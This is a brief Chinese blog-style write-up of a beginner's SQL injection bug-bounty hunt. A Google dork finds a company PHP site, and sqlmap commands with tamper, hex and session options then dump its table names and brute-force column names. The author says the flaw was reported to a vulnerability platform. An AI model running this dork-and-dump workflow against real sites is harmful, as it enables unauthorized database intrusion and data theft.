记录一次小白SQL注入src挖掘过程,其中碰到了很多问题,报错和解决
先是使用谷歌语法找到一个可以注入的网站
谷歌语法:
公司inurl:php?id=
然后该公司的URL为
URL:XXXXXXXXXX/xxx.php?id=1
输入'测试有无注入,有没有waf
发现有报错
使用sqlmap寻找注入点
python2 sqlmap.py -u "URL" -force-ssl -risk 3 -level 5 --tamper=space2comment -dbs
使用这条命令可以发现存在注入点。但是却爆不出库来
python2 sqlmap.py -u "URL" -force-ssl -risk 3 -level 5 --tamper=space2comment -dbs
出现如下报错:
[ERROR] unable to retrieve the number of databases
[CRITICAL]unable to retrieve the database
[CRITICAL]unable to retrieve the database names
查询了博客增加了新的sqlmap参数
--hex
sqlmap将在注入测试期间将字符串转换为十六进制编码,并将其发送到目标应用程序。这可以帮助绕过一些简单的过滤规则,以实现成功的注入。
--flush-session
可以清除当前会话的所有相关数据,包括清除内存中的缓存数据以及删除临时文件。这样可以确保下一次测试将从一个干净的状态开始,而不会受到上一次测试的影响。
--banner
可以列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息
python2 sqlmap.py -u "URL" --dbs --hex --tamper=space2comment --flush-session --banner
还是无法爆出数据库
根据提示改成爆破数据表
python2 sqlmap.py -u "URL" --tables --hex --tamper=space2comment --flush-session --banner
成功爆破出网站的数据表
对列名进行爆破 的sqlmap的语句
python2 sqlmap.py -u "URL" -T user --common-columns --hex --flush-session --banner
之后就可以通过sqlmap 自带的字典爆破到它数据表的字段和值,非常的危险和高危,漏洞已经提交补天